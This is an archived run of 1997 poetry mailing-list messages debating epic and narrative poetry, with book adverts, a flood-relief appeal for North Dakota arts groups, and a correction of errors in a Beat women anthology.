i think of some of (as eg.s) Susan Howe's, MacLow's, Cage's & Michele Leggott's poetry as very much non-linear - in as much as there is a randomness to the reading of specific lines/words/phrases... there is a randomness in these cases that seems very much to me integral to their readings and existence and is emphatically non-linear. But that wasn't the question.

Dan

I
>think, in the strict sense, insofar as language moves forward in time ...
>must narrative poetry specifically "tell a story" to be considered
>narrative, then? And why should the lack of a story be considered
>subversive, as some people have intimated?
> Thanks, Evan
>
>

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170. **henrywrt**
Re: gubbinal in Venezuela?
Thu 8 May 1997

On Thu, 8 May 1997 11:22:48 -0400 Jordan Davis said:
>Henrywrt
>epic finds STORY beginning middle and end
>
>but no, that's not epic finding that's drama? epic is come in whenever and
>find out later where?

It's epic too. Eric told me. [Tractatus Blarnensis 411.23 page 12]
Iliad is designed as a tragic action. If you're travelin to the north country
fair, walk in a circle & you'll see me there.
>
>as for what henryrt re
>genres are not ways of knowing they're ways of writing poems
>
>ohhhhh yoooooo meeeean littttttttcchrachuuuuure
>which is written by the living dead
>viz the Living Dead Review of Books

o.k., don't write them down. Whisper them to your best friend. But a poem ain't a lecture. Jenny Littletree told me. Right, Jenny? Right Henry. Hello Fernando. - Jenny

↑ Index

171. Jethro Cadbury
advert
Thu 8 May 1997

Mainstream and Anarcho Press announce the publication of Periodical Contests by Eric Mottram. This is the fourth book of Masks. It is distributed by Mainstream.

Mainstream now has three books in print. All are available for sterling payments only, cheques payable to Lawrence Upton.

OUR EDUCATION IS POLITICAL: Eric Mottram interviewed by Wolfgang Gortschacher
Price including postage and packing UK £4.00
Price including postage and packing Europe £4.50
Price including postage and packing USA / Canada £5.50

HI COWBOY by Fiona Templeton
Price including postage and packing UK £4.00
Price including postage and packing Europe £4.50
Price including postage and packing USA / Canada £6.00

PERIODICAL CONTESTS by Eric Mottram
Price including postage and packing UK £3.50
Price including postage and packing Europe £4.00
Price including postage and packing USA / Canada 4.50

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172. CHRIS MANN
Re: epic/narrative
Thu 8 May 1997

TT O 's '24 Hours'

!!!

↑ Index

173. Gwyn McVay
epic/narrative
Thu 8 May 1997

"I" just finished reading Dorn's /Gunslinger/--hope not to get punched in the mouth for this... but doesn't it twist narrative expectations a bit, in that the Slinger, at the end, forgets all about chasing Howard Hughes, and the company disperses, and the Slinger hops back on the timetrain?

Pierre, that would be the bpNichol trans. of Basho, n'est-ce pas? does Nichol include the exclamation point?

Gwyn

↑ Index

174. Alan Jennifer Sondheim
Jennifer-URL
Thu 8 May 1997

Because some people were having trouble configuring the Jennifer piece,
I've set it up at:
http://www.anu.edu.au/english/internet_txt/z.htm
where it runs, a bit slower than it would on your machine (Jennifer's
breathing is slightly behind the times...)..., but it DOES run.

Alan

_____ URL: http://jefferson.village.virginia.edu/~spoons/internet_txt.html MIRROR: http://www.anu.edu.au/english/internet_txt/ TEL [redacted] IMAGES: http://www.cs.unca.edu/~davidson/pix/ Editor, BEING ON LINE CUSEEME 166.84.250.149 ADDRESS: 432 Dean St., Brooklyn, NY, 11217

↑ Index

175. Joe Safdie
Re: epic/narrative
Thu 8 May 1997

On Thu, 8 May 1997, Gwyn McVay wrote:

> "I" just finished reading Dorn's /Gunslinger/--hope not to get punched in
> the mouth for this... but doesn't it twist narrative expectations a bit,
> in that the Slinger, at the end, forgets all about chasing Howard Hughes,
> and the company disperses, and the Slinger hops back on the timetrain?
>

I'd say, very much so, Gwyn -- not to mention that filling up a character
named "I" with gallons of LSD is altogether a neater method of
circumventing the perils of first-person address than, say, taking
Foucault to heart: no (de)construction required.

But about epic -- its usefulness as a term: I wonder about a feature common to many early poems thus named, the journey into hell and back. Classics scholars can correct me, but I think that particular journey is called "catabasis" -- and certainly then a movement from one (limited, narrow) state to another (broader,

more all-encompassing) and then, maybe, back. Ulro to Jerusalem, Inferno to Paradiso, the Mahayana Buddhist coming down off the mountain until all sentient beings are enlightened . . .

. . . is that kind of "movement" narrative? It's certainly not LINEAR. Is it naive to think a movement like that one could still exist, post-modern and post-structuralist as we are? Some of the poems mentioned as contemporary exemplars of epic seem to me just epic in scale, not encompassing this broader move.

Wisdom literature, I hear some folks sneering -- we're beyond that. But for me, if epic means anything, it means going on that journey.

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176. henry gould
Re: epic/narrative
Thu 8 May 1997

I'm reading a book about the pervasiveness of an "orpheus" story in many variations in native american storytelling. The orpheus myth of Greece (coming maybe originally from eastward) makes the journeyer to the world of the dead a poet (in the stories or myths usually its "just" a man or woman going to try to fetch lover/kin back to the living). Does the greek version add a "reflexive" element - because this is THE epic tale?

Yippie "I" A. Coyote

↑ Index

177. David Israel
Re: epic/narrative -Reply
Thu 8 May 1997

Henry (et alia et coyotea et toyotea) --

there are several poss. explanations why Orpheus was Orpheus-the-poet in the Greek version -- (not least of 'em being, because that's who it was!)

just a thought,
d.i.

p.s.: also, this allowed Cocteau to do cooler things

>>> henry gould <[redacted]> 05/08/97
02:38pm >>>
I'm reading a book about the pervasiveness of an "orpheus" story in
many variations in native american storytelling. The orpheus myth of
Greece
(coming maybe originally from eastward) makes the journeyer to the

world of the dead a poet (in the stories or myths usually its "just" a man
or woman going to try to fetch lover/kin back to the living).
Does the greek version add a "reflexive" element - because this is
THE epic tale?

Yippie "I" A. Coyote

↑ Index

178. David Israel
Re: epic/narrative / Orpheus p.s.
Thu 8 May 1997

Also --

I'd not thought abt. this much before, but your mention (Henry) about the Orpheus tale having poss. come from points east, reminds of the ancient Indian myth of Savitri (the Persephone of the tale) who is rescued from land of the dead by a certain Satyavan (the Orpheus) --

this story (of poss. interest to Mr. Blarnes) was re-told in -- hey, dig this -- EPIC form (a full, book-length poem, including cosmic idea-sweep, and as I recall in unrhymed iambic hexameter) by Aurobindo Ghose -- a British-educated Bengali who turned to matters of philosophy & spirituality after being jailed as an early 20th-century freedom fighter (pre-Gandhi days) . . . this is one of those books high on my hypothetical shelf of stuff to read -- whenever (every several years) I've run across a copy & read a half-page, have been much amazed by the language . . . old-school style, of course . . .

d.i.

↑ Index

179. Steven Marks
Re: epic/narrative
Thu 8 May 1997

On Thu, 8 May 1997, Gwyn McVay wrote:

> "I" just finished reading Dorn's /Gunslinger/--hope not to get punched in
> the mouth for this... but doesn't it twist narrative expectations a bit,
> in that the Slinger, at the end, forgets all about chasing Howard Hughes,
> and the company disperses, and the Slinger hops back on the timetrain?
>
> Pierre, that would be the bpNichol trans. of Basho, n'est-ce pas? does
> Nichol include the exclamation point?
>

> Gwyn
>
Here is a translation, I found in Anne Carson's _Eros: The Bittersweet_>

old pond
frog jumps in
plop

No !.

Steven

Steven Marks

http://members.aol.com/swmarks/welcome.html

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180. Jethro Cadbury
neg cap and epic
Thu 8 May 1997

NEG CAP

On 6th May Henry Gould wrote <<Does it sound like Keats is saying the poet exhibits traits based on the deep motivation of composition - absorption in a kind of dream- object which unifies (as dreams do) various kinds of beauty & meaning in a sort of uncanny, lifelike, "unexplained" meaning - a dream-action, a mini-drama. And is this impulse based on an "overdetermined" SET of impulses - personal interest in matching/re-making past poems (which hold the same fascination-grip on the poet as on audience in general) - unconscious social disequilibriums or goals - talent as energeia working itself out - & is all this just romantic extra-poetic limburger or is the uncanny in poetry (the tragicomic acting-out) actually the essential thing & what is beautiful about it sings the mockingbird ha ha.>>

thing is, if you look at the letter, he hardly says anything, no background context or anything - as I remember - i havent got it in front of me but i remember trying to use the quote to justify something or other in a paper and realising i could actually use it to justify anything... as long as you dont violate the dictionary meaning of the two words he uses - London. Keats mentions negative capability for the only time. No sign of V.

EPIC
On 7 May 1997 14:31:44 -0400
Evan Gottlieb wrote

<<All poetry is linear, I think, in the strict sense, insofar as language moves forward in time ... must narrative poetry specifically "tell a story" to be considered narrative, then? And why should the lack of a story be considered subversive, as some people have intimated?>>

A lot of questions there - but re the statement _All poetry is linear_ What about the visual text especially because it adds a twist to the question where the visual text is performed by more than one performer who may start at different points - the performance is linear because the performance moves forward in time but the linearity of the text performed may have been heavily disrupted AND there are many visual texts which are anything but linear in the first place

In the case of epics then and now there are a multitude of devices to send the auditor back in recollection and forwards in anticipation AND because of the epic size of epics they are not often read as a whole - the effect of reading a long poem more or less at a sitting can be rewarding and enjoyable BUT long poems are often experienced in stages and or with gaps

What about _Much poetry is linear some of the time_?

Re _Long poem_ there is a Long Poem Society over here. I think that's what it is called. Well, Bob Cobbing and I are engaged on a sequence of booklets called Domestic Ambient Noise - way over a hundred now one responding to another in an ever more complex pattern. Fundamentally visual on the page and meant for impro performance - but, you know, we have words there, lots of words, and when we don't we have letters - it's a series of poems. Well, Bob, as Writers Forum, has been sending them booklets so they can include DAN in their list of long poems and, as he tells it, there is a Long Correspondence, going on as to whether or not DAN is a poem! It's a pity Bob's not on email - but if you would like to buy the series I am sure he would quote you a good discount for quantity

Lawrence Upton

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181. charssmith

R Johnson/epic

Thu 8 May 1997

<< Is it useful to talk of _Ark_ as an epic? or _"A"_ for that matter?

I'll bite, Charles (since I've been thinking and reading around Jack Clarke's _In the Analogy_ in similar terms). What do you think? O r is yours a rhetorical question? >>

No, Mike, I wasn't just being a smartass. I've got more questions than anything else.

Epic is a loaded term, with a lot frayed baggage. I balked at it, while recognizing reasons for its use. I honestly don't remember if Johnson used the term himself while talking (I suspect he did), or if it was introduced in Steve Carl's description. RJ doesn't use it in a note at the end of _Ark_, where, acknowledging Pound, Williams, Zukofsky & Olson as forbears he writes: "If my confreres wanted to write a work with history in its maw, I wished, from the beginning, to start all over again, attempting to know nothing but a will to create, and matter at hand. William Blake would be a guiding spirit: his advice to pay attention every moment: the very lightning, then thunder: a voice out of a cloud." (Begs question about a poem situated outside history, esp. given the charged, embedded 'historical' language, but that's another thread.) He goes on, after citing Simon Watts & Le Facteur Cheval as models of architectural bricolage, to say: "The idea of ARK came when I was able at last to conceive of it as a structure rather than a diatribe, artifact rather than argument, a veritable shell of the chambered nautilus, sliced and polished, bound for Ararat unknown."

What does it mean to place one’s work in that tradition, offering a "long poem," while disavowing any need to grapple with history? Or does he gain clearer access into the realm of creative imagination & spirit by sidestepping the "deeds" of history? Any long poem is not an "epic," despite popular use of the phrases like "epic proportions." There’s lots of interesting contemporary work that clearly situates itself through varying strategies in relation to epic tradition: "Passages," "Song of the Andoumboulou," "Descent of Alette," "Iovis." I guess I’m more comfortable seeing "Ark" as making that kind of move than calling it an "epic." I wouldn’t call the Duncan or Mackey "epic" either, though the work engages that tradition, while I’d be more comfortable with that characterization of the Waldman & Notley.

Against the sweeping totalizing gestures of Whitman, Pound, Olson, does "A" offer one alternative? where the "grand narrative" gives way to the individual poet’s attention & arrangements? _Ark_ seems to strive for LZ’s "totality at rest." The two poems foreground the creative imagination through their music & architectonics.

all best,

Charles

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182. Elizabeth Hatmaker
epic/narrative
Thu 8 May 1997

As I'm reading posts about "epic" I find myself coming back to a schpeel Roland Barthes wrote somewhere (paraphrasing at work here) in _Critical Essays__ about how the seemingly most direct and unencumbered way to suggest compassion or grief to a friend who has suffered a loss is simply to write "regret," that words beyond it tend to distract from primacy of the message or even call the orginal intent of the message into question. Epics strike me, similarly, as a bunch of words about some great story that would be better written in less (or no) words. That the "epic" task of one who writes the "epic" is in the audacity of overproducing the story, or, better, the "truth" of the story. This makes epic writing more attractive to me-- seeing it as a way of ruining stories by writing way too much--suggesting that a given text has too many words to be narrative. Maybe this: epic (v.)--to be overeager about the way words look and sound in such a way as to ruin a story that everyone seemingly aught to know by writing too many.

Elizabeth

↑ Index

183. henry
Re: R Johnson/epic
Thu 8 May 1997

On Thu, 8 May 1997 15:58:59 -0400 <[redacted]> said:
>What does it mean to place one s work in that tradition, offering a "long
>poem," while disavowing any need to grapple with history? Or does he gain
>clearer access into the realm of creative imagination & spirit by
>sidestepping the "deeds" of history? Any long poem is not an "epic," despite

By using an already-archaic form (epic), Milton in PL seems to find a narrow middle direction - he de-literalizes biblical prophecy on the one hand ("PL" is clearly a story, a masque) and emphasizes history's chaotic contingency (one damn thing after another) (especially toward the end of PL) on the other. But all the "famous" epics seem to take idiosyncratic approaches toward history. Sorry to keep harping on the oldies. - Old Hank

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184. Christopher Alexander
nonce
Thu 8 May 1997

All--

just a brief message to let you know that
n/formation is now back online, with a lovely,
secure server, & snug as a bug in a rug.

yesserreee. yup.

oh, & it's still at
  http://choengmon.lib.utah.edu/~calexand/nonce
so no links need be changed.

Chris
..
Christopher Alexander, etc.
nominative press collective

160S 1300E #16 / Salt Lake City UT 84102
[redacted]

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185. charssmith
Alice Notley
Thu 8 May 1997

In a message dated 97-05-08 10:44:12 EDT, Pierre Joris writes:

<< Re envisioning a contemporary epic possibility see also Alice Notley's _Homer's Art_ (in the "Curriculum of the Soul" series), as lovely & sharp corrective to allmale at-swords-point heroic epic. >>

Absolutely! & also, "Descent of Alette." Would also remind of her piece "Epic & Women Poets" in Waldman/Schelling's _Disembodied Poetics_, where she discusses her sense of dream, narrative & search for measure.

"The story is allegorical, & allegory is one way in for women. As well as for men who are tired of this century's lyric 'I,' or tired of fragmentation, disjunction, literary theory, & hipness."

"The old twentieth century forms are now becoming too easy; continuity at length is now hard. Continuity at length implies measure; by which I mean a somewhat consistent unimpeded measure. A new content, a new consciousness, implies the need for a new sound; form & measure are often the same."

"Stories, & measures, are dresses to slip into that give as you walk, at least as much as any poem bound by, say, restrictions of language & demeanor, whether the language of philosophical theory or some sort of plain speech, or by line length or prose-seemingness or marked surface variation."

"A measure comes out of the individual& the culture at the same time: but you the poet will perceive it to come out of your body, your head, the sounds that play there; you will not be able to analyze it into being."

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186. David Israel
Re: epic/narrative
Thu 8 May 1997

Joseph Lease wrote:

<< . . . I also find and am frequently surpsised when/that many think I mean something much more stable, unitary, fixed, comfortable, famaliar (you get the drill) than I mean when I say narrative:

Stein is for example a non-stop lesson in narrative: >>

well, some of Stein, okay; but much -- I don't think so.

The Stein of -- what's it called? -- *Three Lives* -- sure, that's narrative.

As for the Stein of (I think it's) *The Making of An American* -- the part(s) I've heard &/or read (during one of those bi-annual Stein-a-thons at a Soho gallery, wherein the entire book is read thru) were (to my memory & thinking) abt. as far from narrative as one might generally get. Much more a kaleidoscope of language-fragments & repetitions -- reminiscent (I thought) of how Mahayana scriptures are sometimes structured -- but not geared toward the telling of a story (a.k.a. a narrative).

<< I'm thinking also in the sense that Donald Revell has pointed to a new narrativity that comes after language poetry and learns from it: >>

An analogy: the ways in which the better story-telling films will oftentimes include some arresting passages that seem to be much more about light & frame & picture than about pulling forward the (mere) "story" -- though such a passage in such a film is different from an entire film given over to effects of that sort . . .

this isn't the sort of example I was thinking, writing the above graph, but: consider the opening passage of *The Umbrellas of Cherborg* [if that's the correct city-name -- film by Jacque Demi, if that's the correct director; re-released a few years ago . . .; a highly stylized musical, a very narrative movie] -- the opening sequence shows nothing but an abstracted pattern of umbrellas crossing in the

town square -- more "modern art" than narrative at that point, but it plays with visual elements that are soon to give way to the downpour of the tale . . .

d.i.

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187. **Jordan Davis**
Re: epic/narrative
Thu 8 May 1997

I am feeling like an old bocce player now as I exclaim "But sure that's narrative, _The Making of Americans_." There are characters, there is development, aggh.

See, the thing is, there is no such thing as "Coolidge" or "Stein". To say "Coolidge" or "Stein" is to ignore that these people did more than repeat a dominant trope. Every time you think of them that way you're thinking of a Big Mac, and every time you think of a Big Mac, you salivate (and/or retch). The function of literature inasmuch as things people say write or type can have functions is to remind people that although autonomic response is an exciting option it is not one one is bound to. Omit your independence to your cost.

Ah, see, you made me get soaked in romantic individualism again. Anyway before the quarter in this coin-op John Godfrey-imitation wears out, let me finish by reminding you that this is all closer to law than science, that it's only argument bullying clarity and detail that go over here. No work worth talking about is one thing, and no person can be spoken of with respect as a simple unified person, with respect to the wild ongoing cellular recordkeeping anyway.

So,
Jordan(s)

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188. **David Israel**
Re: epic/narrative
Thu 8 May 1997

Jordon --

<< I am feeling like an old bocce player now as I exclaim "But sure that's narrative, _The Making of Americans_." There are characters, there is development, aggh. >>

thx for the corrective -- I had some subliminal doubt. (My prob. w/ noting the narrativity in *Americans* stems from fact I wandered in *in medias res* and didn't really "get" what were the characters, what was the development; -- was

more lost in the remarkable wash of the waves, rather than noting that, yes, there's actually a beach here and some surfers too.)

Speaking of beaches, an interesting angle on narrative is Leslie Scalapino's *That They Were At The Beach* (for instance) . . .

this reminds that I've been meaning to read Carole Maso since monkey's ears -- anyone care to recommend / critique particular volumes, in some manner?

BTW, perhaps the "non-narrative" tag got some of its force from critical writing re: performance art & dance & suchlike (some of which is/was, some of which isn't/wasn't -- some very narrative; some avoiding "easy" story reading) . . .

one can speak of a "simple" (or "single") narrative voice, vs. a multiple or complex or . . . (well, it can be single but complex, as in [much of] Scalapino) . . .

The ur-narratives are, of course, the myths. And the appeal of narrative seems allied w/ the appeal of mythology, no?

d.i.

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189. Pam Brown
Re: epic/narrative
Thu 8 May 1997

At 01:37 PM 8/5/97 -0400, you wrote:
> TT O 's '24 Hours'
>
> !!!
>
>
That's II O as in Pi O, Melbourne poet,...a HUGE 600page book written in "ethnic" vernacular - It's amazing !! Published by Collective Works last year.

Also ,Laurie Duggan's "experimental" poetic documentary epic about Gippsland, Victoria - "The Ash Range" published by Picador in 1987...

Bye for now,
Pam Brown

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190. David Israel
Re: epic/narrative / Basho / Carson
Thu 8 May 1997

Steven Marks wrote --

<<<
. . . Gwyn McVay wrote: . . .

> *Pierre, that would be the bpNichol trans. of Basho, n'est-ce pas? does Nichol include the exclamation point?*

Here is a translation, I found in Anne Carson's _Eros: The Bittersweet_>

old pond
frog jumps in
plop

No !.

Steven >>>

Yes, but that doesn't speak to the issue of whether or not bp's version has an exclamation point. Anne Carson's version was borrowed from:

Basho, Matsuo, *The Narrow Road to the Deep North and Other Travel Sketches*, trans. by Nobayuki Yuasa, New York (1966) -- (that's the old Penguin classic). As for haiku, Robert Hass's recent trans. of 3 haiku poets (including Basho) is darn good.

Regarding the Basho cited by Steven, that poem serves as epigraph to one of the final chapters in *Eros: The Bittersweet*. For poss. interest, here that section entire (beginning w/ chapter title):

/ / / / /

What Is This Dialogue About?

old pond
frog jumps in
plop

Basho

The *Phaedrus* is an exploration of the dynamics and dangers of controlled time that make themselves accessible to readers, writers, and lovers. In Sokrates' view, a true *logos* has this in common with a real love affair, that it must be lived out in time. It is not the same backwards as forwards, it cannot be entered at any point, or frozen at its acme, or dismissed when fascination falters. A reader, like a bad lover, may feel he can zoom into his text at any point and pluck the fruit of its wisdom. A writer, like Lysias, may feel he can rearrange the limbs of the fiction on which he dotes with no regard for its life as an organism in time. So readers and writers dabble in the glamor of *grammata* without submitting themselves to wholesale erotic takeover or the change of self entailed in it. Like Odysseus bound to the mast of his ship, a reader may titillate himself with the siren song of knowledge and sail past

intact. It is a kind of voyeurism, as we see when we watch Phaedrus seduced by the written words of Lysias. In Plato's view, the Lysian text is as philosophic pornography when compared with the erotic *logos* of Sokrates. But Plato cannot demonstrate this merely by aligning Lysias and Sokrates as one dead text beside another. The demonstration requires something of a ruse if it is to be truly arresting. So Plato floats *logos* upon *logos*; they neither converge nor cancel out. We have seen other writers contrive such stereoscopic images. For example, Sappho in her fragment 31 superimposes one level of desire upon another, floats the actual upon the possible, in such a way that our perception jumps from one to the other without losing sight of the difference between them. Or again, the novelist Longus floats an apple upon a tree plucked bare of fruit, defying logic and captivating Daphnis. Or consider Zeno who, in his famous paradoxes, suspends moving objects upon the impossibility of motion, so that we see Achilles running as fast as he can, going nowhere. These are writers who share a strategy; they purpose to re-create in you a certain action of the mind and heart -- the action of reaching toward a meaning not yet known. It is a reach that never quite arrives, bittersweet. Plato's interplay of *logoi* in the *Phaedrus* imitates this reaching action. As Phaedrus reads what Lysias wrote, as Phaedrus listens to what Sokrates says, something begins to come into focus. You begin to understand what a *logos* is and what it is not and the difference. Like a face crossing a mirror at the back of the room, Eros moves. You reach. Eros is gone. The *Phaedrus* is a written dialogue that ends by discrediting written dialogues. This fact does not cease to charm its readers. Indeed, it is the fundamental erotic feature of this *erotikos logos*. Each time you read it, you are conducted to a place where something paradoxical happens: the knowledge of Eros that Sokrates and Phaedrus have been unfolding word by word through the written text simply steps into a blind point and vanishes, pulling the *logos* after it. Their conversation about love ... turns into a conversation about writing ... and Eros is not seen or heard from again. This act of dialectical interception has, since antiquity, perplexed those who wish to say concisely what the dialogue is about. But there is nothing inappropriate here. If you reach into the *Phaedrus* to get hold of Eros, you will be eluded, necessarily. He never looks at you from the place from which you see him. Something moves in the space between. That is the most erotic thing about Eros.

- Anne Carson, *Eros: The Bittersweet*

[pp. 165-167 -- pardon that this makes much reference to texts & terms already summarized, excerpted &/or discussed earlier in the book; but this shd. serve to give a taste of Carson's manner of thought & indeed something of her thesis . . .]

d.i.

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191. **nuyopoman**
Re: How Public is the Sphere
Thu 8 May 1997

<<Many of L. Scalapino's long prose pieces are refered to routinely as novels and stories; I was interested a few years ago to hear her read sections from various such pieces, always refering to them as poems...

Is it ok to allow the poet to decide if what she has written is a poem?

<<the works
that have already been done that cd be considered poetry and cultural
studies, the field it's my longterm mission to map out...md

Poetry has spent recent time (say, this century) ceding itself to other arts. Performance Art, ugh. If it's a performance, is it not a priori art? To me, it's simple enough -- consider the line break, dive into a poem.

Bob Holman

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192. **Charles Alexander**
flood
Thu 8 May 1997

This may be cheating, as I still have my poetics set to "nomail" as I get through a bunch of 'other' stuff. So I'm not reading messages but am sending one.

This one is forwarded, and is about helping the arts recover from the North Dakota floods. I apologize if someone has already posted this on poetics.

---------- Forwarded message ----------
Date: Tue, 6 May 1997 22:46:23 -0400
From: Julie Hornstein <[redacted]>
    Arts Education Chair, North Dakota Arts Alliance
To: FINKELSTEIN RICHARD S <[redacted]>
Subject: Help for Grand Forks Arts

May 6, 1997
UPDATE ON FLOODED GRAND FORKS ARTS ORGANIZATIONS:

Less than .05% of residents have been allowed to move back into their homes because of lack of water, sewer, gas & electric services.Most are 'camping in' with friends, relatives or shelters both in and out of state.

We have confirmation that:

ND Ballet was burned out. All Records, equipment, etc. are gone, but they were renters so can try to move to a new space, if/when one can be located. They had to cancel performances and spring fundraisng efforts and are short of current operating funds to use for the recovery period.

Firehall Community Theatre sustained substantial water damage and some fear the building will be condemned...a determination to be made 'later' by the powers that be.As of May 5, the degree of damage to equipment, costumes, etc. could not be determined because the site could not be visited. They had to cancel performances and spring fundraisng efforts and are short of current operating funds to use for the recovery period.

North Valley Arts Council was temporarily housed in a commercial building above water line and therefore still have their administrative hub, but they were in a crucial stage of grant-seeking for renovation of an old movie theatre as a mixed-purpose arts center. That building sustained substantial water damage and no one seems to be able to forecast the probable future of the project at this time.

Most of the remaining arts organizations (Symphony, ND Art Gallery, Master Chorale, etc.) were housed above water-line (many on the UND Campus), but operations have been severely interrupted and we will have to wait until folks can move back home to find out how much damage has been done to season ticket sales, fundraising, planning for next season etc.

****** At the request of Governor Schafer, the ND Community Fund is taking donations for non-profit organizations for flood relief. Any donations can be designated to a specific cause (such as 'the arts') or for a specific organization. All donations are 100% tax deductible and 100% of the money goes for flood relief. Contact information: North Dakota Community Foundation, PO BOX 387, Bismarck, ND 58502-2191. Phone [redacted].

****** The North Dakota Arts Alliance would like to publicly acknowledge contributions to flood relief for the arts in order to underscore the nationwide support for the belief that rebuilding the arts infrastructure is vital to rebuilding a real community. Such documentation will also provide moral support and generate tangible in-state support for the arts organizations as they undergo the protracted recovery period. Please send notification of flood-reief projects and/or contributions to: North Dakota Arts Alliance PO BOX 428, Minot, ND 58702 or email to [redacted] for publication.

******* Individuals and organizations wishing to offer in-kind or replacement-goods relief rather than money donations should contact North Dakota Arts Alliance PO BOX 428, Minot, ND 58702, [redacted], or email to [redacted] so we can facilitate the matching of needs with offered assistance.

Let's also give some deep thought to establishing an on-going national disaster-relief fund for arts organizations facing unexpected disasters - natural or un-natural.

Julie Hornstein (Arts Education Chair, North Dakota Arts Alliance) (home email [redacted])

.

---------- Forwarded Message ends here ----------

charles alexander / chax press / [redacted]

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193. **Mark Weiss**
Re: R Johnson/epic
Thu 8 May 1997

Sorry to beat this drum again: Milton and his contemporaries would have been mightily surprised to hear that epic was already archaic. Within his lifetime Davenant and Crowley wrote epics in English, and it was Dryden's greatest (explicit) ambition, best realized in his pre-All for Love tragedies and in his translation of Vergil. Nor were these guys alone. The continent was humming with epic-making activity.
>By using an already-archaic form (epic), Milton in PL seems to find a
>narrow middle direction - he de-literalizes biblical prophecy on the one hand
>("PL" is clearly a story, a masque) and emphasizes history's chaotic
>contingency (one damn thing after another) (especially toward the end of
>PL) on the other. But all the "famous" epics seem to take idiosyncratic
>approaches toward history. Sorry to keep harping on the oldies. - Old Hank
>
>

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194. **oren.izenberg**
Speaking of Stein
Fri 9 May 1997

Anyone interested in Stein ought to take a look at listmember Jennifer Ashton's essay in the most recent ELH (#64)-- "Gertrude Stein for Anyone."

Besides being an incredibly interesting account of Stein's (changing) thinking about the problem of "identity"--what makes a whole thing whole and how do you represent it (problems thought through in a number of contexts: literary, political, psychological, and mathematical)-- it is also entirely relevant to the

questions being raised here: is Stein interested in "narrative" or not, is there one "Stein project" or are there many.

Check it out.

Best,
O.

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195. Steven Marks
Re: epic/narrative / Basho / Carson
Fri 9 May 1997

Thanks for clearing up where the Basho translation came from in _Eros.._ I figured it wasn't hers. I love that first line: "old pond" I imagine water covered with duckweed, hence the plop instead of a splash.

BTW, I would recommend _Ava_ by Carole Maso in which several narratives intertwine in the mind of a dying woman. On her last day of life, in fact. The novel consists of short "paragraphs," usually one sentence, sometimes more, sometimes fragments, often repetitive, so that the stories build slowly but inexorably. Actually, "build" is a bit misleading. It's more like they coalesce.

I would also recommend her outstanding essay in the Mar/Apr 1995 issue of "American Poetry Review" in which she writes:

"Woolf in _The Common Reader_: Forget that 'appalling narrative business of the realist: getting from lunch to dinner.'"

TTFN,
Steven

Steven Marks

http://members.aol.com/swmarks/welcome.html

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196. Maria Damon (Maria Damon)
Re: poetry collections/information please
Fri 9 May 1997

---

this wd obviously be a service to many of us on the list, so if anyone answers, please do so front-channel thanks!--md

At 12:57 PM 5/9/97, Mark Weiss wrote:
>A plea to the list for information!

>To the best of my knowledge there's no list available of all poetry secial
>collections like the Archive at UCSD or Poet's House at U. of Arizona.
>Obviously such a list would be useful to publishers like me and the poets
>they publish. Please help me compile one (or inform me if one exists) by
>front- or backchannelling info. If I get responses I will assemble and send
>to the list.
>Thanks
>
>Mark of the Junction

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197. Alan Jennifer Sondheim

How Could You (fwd)

Fri 9 May 1997

Go to MIRROR URL below; click on <how could you> in the files section.

Alan

_____ URL: http://jefferson.village.virginia.edu/~spoons/internet_txt.html MIRROR: http://www.anu.edu.au/english/internet_txt/ TEL [redacted] IMAGES: http://www.cs.unca.edu/~davidson/pix/ Editor, BEING ON LINE CUSEEME 166.84.250.149 ADDRESS: 432 Dean St., Brooklyn, NY, 11217

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198. Poetics List

erratum to the erratum: Beat Women (fwd)

Fri 9 May 1997

Kristin Prevallet asked me to forward this to the list. She is now subscribing to Poetics and will be testing her mic shortly... jk

---------- Forwarded message ----------
Date: Thu, 8 May 1997 20:31:09 -0400 (EDT)
From: Kristin S Prevallet <[redacted]>
To: Charles Bernstein <[redacted]>
Subject: erratum to the erratum: Beat Women

Erratum to the Erratum: Women of the Beat Generation

The Conari Press is attempting to maintain credibility within a larger reading community by sending out an erratum stating that "an unfortunate combination of computer glitches and copy editor confusion" is the cause of Brenda Knight's re-copying of six paragraphs from my essay, "The Reluctant Pixie Poole: A

Recovery of Helen Adam." If this is true, I think it is necessary to point to two paragraphs (not included in the six mentioned above) where Knight, in her attempt to disguise her reliance on my text, unfortunately got the facts wrong. I am citing the two examples below not necessarily as an attempt to demean the Conari Press's erratum, but to clarify some of the erroneous scholarship in the Helen Adam introduction to "Women of the Beat Generation"--scholarship to which my name has (perhaps unfortunately) now been linked.

1. Knight wrote: "In 1957, Helen started her own magical poetry and performance troop called the Maidens that included Jess, Madeline Gleason, Robert Duncan, Eve Triem, and James Broughton." It is important to clarify that The Maidens were not a "performance troop [troupe?]," and that it was not "started" by Helen Adam. The Maidens did not perform and they were not a troupe--they were an erudite group of artists who got together at each other's houses, dined and sipped coffee while talking about Poetry (capital "P"). In the same paragraph she continues: "That same year, several important events catapulted the Beats to fame, notably the publication of Jack Kerouac's "On the Road" and the "Howl" obscenity trail. The Maidens were intrigued by these new literary radicals, welcoming them at readings and offering encouragement." There is no evidence that The Maidens as a group were intrigued by the Beats. The Maidens as a group were in fact antithetical to the Beats and did not offer the Beats any encouragement. Their hermetic, domestic group deliberately set themselves apart from the North Beach scene. However, although the Maidens were critical of the Beats, Helen Adam herself was not--and defended Allen Ginsberg's poetry in one of the workshops she took. "apex of the M" #6 (forthcoming, Fall 1997), will have a section of the Adam/Duncan correspondence in which Adam defends Ginsberg against "suburban protesters." Anyone interested in The Maidens should read Kevin Killian's excellent essay "Faggot Vomit: Jack Spicer and the Maidens" in the most recent Poetry Project Newsletter.

2. Knight wrote: "In 1964, Helen Adam received national attention when her play "San Francisco's Burning" was staged off-Broadway in New York. Sadly, a series of difficulties coincided with this success. Helen was fired from her filing job of ten years and suffered from stress and depression, leading to hospitalization and a series of shock treatments. Helen and her sister, Pat, never parted, eventually moved to New York City and lived in solitude until their deaths."

Knight totally mis-read my essay in coming up with a totally confused paragraph, filled with factual and made-up errors: 1964 was the year that Helen and Pat moved to New York--"San Francisco's Burning" was staged off-off-(off) Broadway at the Judson Poet's Theater in 1968. (I had written a singular "off" in my original essay, but this is incorrect.) The play did not receive National attention, as Miss Knight inferred. Helen's depression was in 1962, when "San Francisco's Burning" was first staged--in San Francisco. Helen and Pat did not live in

solitude until their deaths. Pat perhaps--but Helen was quite a star in New York and had lots of friends. I have recently received several letters from friends of hers in New York who are somewhat annoyed with Knight's fabricated statement!

